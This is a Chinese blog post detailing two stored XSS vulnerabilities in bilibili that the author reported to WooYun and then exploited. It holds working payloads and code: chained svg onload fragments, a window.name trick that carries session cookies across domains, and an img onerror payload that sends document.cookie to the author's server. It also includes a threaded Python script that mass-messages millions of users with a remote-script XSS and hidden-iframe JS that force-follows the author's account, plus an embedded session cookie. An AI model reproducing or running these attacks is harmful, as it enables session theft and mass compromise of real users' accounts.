bilibili两枚存储型xss挖掘及利用

交了两个wooyun报告,既然erevus说了都修好了,就分享出来详细的细节。虽然我并不是前端安全小能手,但是尽量讲清楚。


第一份wooyun报告:


在个人空间的我的收藏中可编辑视频收藏的名称,之后尝试写入标签。

http://space.bilibili.com/

QQ20160128-0@2x.png



QQ20160128-1@2x.png



发现输出到前端的尖括号被转义了,不过出现了一个json接口,他的Content-Type是html,打开看下内容

http://space.bilibili.com/ajax/fav/getBoxList?mid=4926267

QQ20160128-2@2x.png



发现尖括号起作用了,这个xss在space域下,看下bilibili的cookie在这个域下起不起作用

QQ20160128-3@2x.png



B站的cookie都在.bilibili.com下,是个子域名就可以打喽。

尝试隐身窗口访问,避免self xss

QQ20160128-4@2x.png



由于后端验证这个变量长度必须不大于30,按照以往的套路,就是建立多个单元,拼在一起,最后再eval一下就好了,可是这次B站弄聪明了,每个条的顺序每次刷新不同,就会导致变量 undefined

例如我本打算这么执行

<svg onload=a='document.writ'>

<svg onload=b='e(String.from'>

<svg onload=c='CharCode(60,1'>

<svg onload=d='15,99,114,105'>

<svg onload=e=',112,116,32,1'>

<svg onload=f='15,114,99,61,'>

<svg onload=g='39,104,116,11'>

<svg onload=h='6,112,58,47,4'>

<svg onload=i='7,116,46,99,1'>

<svg onload=j='10,47,82,52,8'>

<svg onload=k='6,84,75,53,66'>

<svg onload=l=',39,62,60,47,'>

<svg onload=m='115,99,114,10'>

<svg onload=n='5,112,116,62)'>

<svg onload=o=');'>



<svg onload=x=a+b+n+d+e+f+g+h>

<svg onload=t=i+j+k+l+m+n+o>

<svg onload=eval(x+t)>

但是当我用加上去的时候却变成了这样

QQ20160128-6@2x.png



然后在刷新下又变成了这样

QQ20160128-7@2x.png



所以这个方法在之后加入拼接变量的时候会出现undefined,因为刷新一下不知道后三行实际在页面里的位置,这让我很着急,不过bilibili的收藏有个奇怪的地方,他有个默认收藏夹总排在第一位,那么是不是可以利用这个特点做点文章呢?瞬间灵光一闪,window.name!!

利用window.name做跨域传输cookie吧,根据优先级的话,svg onload 会比 body onload 先执行,因此默认收藏夹的name写<svg onload=b=document.cookie>,恰好长度为30,并且总会在第一位上,接下来建立个新的收藏夹,name为<body onload=window.name=b>,长度为27,排在第二位。这样就成功把cookie放在了window.name上

构造好的源码是这样的

QQ20160128-8@2x.png



在console里测试下

QQ20160128-9@2x.png



接下来就是写个页面跨域传值了,这个百度一大堆,就不贴代码了。


根据window.name跨域的方法,弹出B站的cookie

QQ20160128-10@2x.png



其实上面的onload的事件即使顺序固定也并不能像想象的那样顺序执行。比如我写个html

<html>
<body>
	<svg onload="a='xss'"></svg>
	<svg onload="alert(a)"></svg>
</body>
</html>

这样会有很大几率爆出undefined错误,因为不能决定这两个onload谁先执行。因此在报告里的字符串拼接分析纯属扯淡。


window.name传值的html我贴出来吧,参考于http://blog.csdn.net/jzh440/article/details/11831463,多谢博主,写的很清晰。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<htmlxmlns="http://www.w3.org/1999/xhtml">
<head>
    <title>跨域获取数据</title>
    <script type="text/javascript">
    function domainData(url, fn)
    {
        var isFirst = true;
        var iframe = document.createElement('iframe');
        iframe.style.display = 'none';
        var loadfn = function(){
            if(isFirst){
                iframe.contentWindow.location = 'http://www.hackblog.cn/null.html';//这个null.html确实存在,但页面可为空页面
                isFirst = false;
            } else {
                fn(iframe.contentWindow.name);
                iframe.contentWindow.document.write('');
                iframe.contentWindow.close();
                document.body.removeChild(iframe);
                iframe.src = '';
                iframe = null;
            }
        };
        iframe.src = url;
        if(iframe.attachEvent){
            iframe.attachEvent('onload', loadfn);
        } else {
            iframe.onload = loadfn;
        }
         
        document.body.appendChild(iframe);
    }
    </script>
</head>
<body>
 
</body>
    <script type="text/javascript">
    domainData('http://space.bilibili.com/ajax/fav/getBoxList?mid=4926267', function(data){
        alert(data);
    });
    </script>
</html>

这样就在一个普通的网站上获取用户在bilibili的cookie了。其实利用很不爽,因为需要在bilibili上已登录然后访问攻击者的网站,来获取受害者的cookie伪造登录。


第二份wooyun报告:


攻击流程如下:

1.进去任意用户的个人空间(例如http://space.bilibili.com/4926267/,url后的数字为用户id),点击私信,给对方发私信,

QQ20160201-0@2x.png



2.消息查看的域名为message.bilibili.com,在我上一个bilibili的xss漏洞报告 WooYun: bilibili存储型xss (绕过长度限制打乱顺序限制) 中写过,bilibili的cookie都在.bilibili这个域名下,因此这个域名打到的cookie可以伪造登录。发私信尝试写入<!--和<script>做测试,发现<!--在html中起作用,而<script>被过滤。

QQ20160201-1@2x.png



猜测正则为匹配闭合的尖括号标签进行过滤,只要尖括号不闭合就可以执行。

3.使用<img src=x onerror=alert(1)// 作为payload提交做测试,发现成功弹窗

QQ20160201-2@2x.png



4.此外,私信只要发送,目标用户就会在各个页面的头部显示有新消息。

QQ20160201-3@2x.png



但由于前端html处理不当,浏览器会将xss显示在消息用户列表中,这样用户无论看的是谁的私信,只要进去私信功能就会被xss,因此危害较大。

QQ20160201-4@2x.png


漏洞证明:

在私信位置将cookie传出,测试为两个用户用不同浏览器模拟攻击者和受害者,避免self xss,payload为<img src=x onerror="$.get('http://www.hackblog.cn/xss.php?xss='+escape(document.cookie))"//

攻击者截图

QQ20160201-6@2x.png



被攻击者截图

QQ20160201-5@2x.png



发现cookie成功发送到我的php上



这个利用就很简单了,就一直给别人发私信就好了,私信内容就一个xss的payload。这是由于bilibili的开发回滚代码,还觉得这不是漏洞,就被我利用了。

先利用http://message.bilibili.com/api/msg/query.double.room.do这个接口获取用户的信息,如rid,是发私信的必须参数。并且可通过mid最大值猜解得知bilibili的用户量不到23000000,不过还是很多了,然后用rid给用户发私信,在header上就会有新消息提示。点击了私信就被xss。


python批量发私信的代码如下

import requests
import json
import threading

def threadwork(i):
    url1 = "http://message.bilibili.com/api/msg/query.double.room.do"
    url2 = "http://message.bilibili.com//api/msg/send.msg.do"
    headers = {
        'Cookie': 'fts=1451205239; pgv_pvi=5207724032; LIVE_BUVID=36832074f1db7c4005455dd92444e668; LIVE_BUVID__ckMd5=db939d04d672e8ae; loveplus=1; PLHistory=f3li%7Col<px; DedeUserID=4926267; DedeUserID__ckMd5=67ab1d1ad7dc2a18; SESSDATA=0c552560%2C1454845061%2Ccfe392c4; LIVE_LOGIN_DATA=3e83d8f355770378678d8901033857bafb2c7b3d; LIVE_LOGIN_DATA__ckMd5=3ecaff091b8dcd22; tma=136533283.91315780.1453994207141.1453994207141.1454240634723.2; tmd=6.136533283.91315780.1453994207141.; rlc_time=1454478543650; sid=4kodcp10; pgv_si=s1559965696; user_face=http%3A%2F%2Fi1.hdslb.com%2Fgroup1%2FM00%2F11%2F5A%2FoYYBAFapdt-AGmlWAAAIFEeehxI931.jpg; DedeID=3661076; _cnt_dyn=null; _cnt_pm=0; _cnt_notify=33; uTZ=-480; _dfcaptcha=552c946c13ea9634533e719721f8dc93'
    }
    payload1 = {
        'captcha': '552c946c13ea9634533e719721f8dc93',
        'mid': str(i)
    }
    res1 = requests.post(url1,headers=headers,data=payload1)
    userinfo = json.loads(res1.content)
    if userinfo['code'] == 0:
        rid = userinfo['data']['rid']
        payload2 = {
            'rid': rid,
            'msg': "hello<img src=x onerror=$.getScript('http://t.cn/RbkmL4k')//",#这个是我的js 
            'captcha': '552c946c13ea9634533e719721f8dc93'
        }
        res2 = requests.post(url2,headers=headers,data=payload2)
        resback = json.loads(res2.content)
        if resback['code'] == 0:
            print str(i)+" success!"
        #else:
        #    print res2.content


if __name__ == '__main__':

    threadpool=[]
    #开20线程一顿发私信。
    for i in range (1,23000000,20):

        for k in xrange(20):
            th = threading.Thread(target=threadwork,args=(i+k,))
            threadpool.append(th)

        for th in threadpool:
            th.start()

        for th in threadpool :
            threading.Thread.join(th)
            threadpool=[]

虽说python的多线程效率不高,但也比一个一个发好,再说,你哪有那么好的网络质量。。。(据说现在还能批量发,记得改成自己的cookie)


被引用的js代码如下

var strhtml = '';

if (self != top) {  
	strhtml += '<form id="xbilibili" action="http://space.bilibili.com/ajax/friend/AddAttention" method="post">';
	strhtml += '<input type="text" name="mid" value="4926267" />';
	strhtml += '</form>';

	$(document.body).append(strhtml);
	$("#xbilibili").submit();
}else{
	strhtml = '<iframe src="http://message.bilibili.com/#whisper/rid216246424b93bed4331ba30d5c0371d1" style="display: none"></iframe>';
	
	$(document.body).append(strhtml);
}

这个v2ex有人发出来还假装分析了一下,这个js其实目的很简单,就是强行加我账号关注。由于message域要发POST请求到space域,而且space还没Access-Control-Allow-Origin,那么我采取iframe的方式post过去来隐蔽攻击,js先判断自己是不是被iframe中,如果没有加个iframe,iframe的src是与我的私信对话的url,其实就是iframe自己,这样这个js再次被执行,他判断是在iframe中,就写个form执行post,iframe在post的时候iframe的页面也会跳转过去,但是他的style规定iframe不可见,这样用户在被xss的时候毫无察觉。不这么加个iframe执行攻击时,整个页面会跳转过去,立即就暴露了。


总之,我又不是专业找bilibili漏洞的人,只是觉得好玩。写的通俗易懂。


本文由Hack Blog原创,如需转载注明原文链接

作者:落 分类:漏洞 浏览:5376 评论:2
留言列表
访客
访客 第二个XSS如果玩成蠕虫 ... orz  回复
77访客
77访客 7777  回复
发表评论
来宾的头像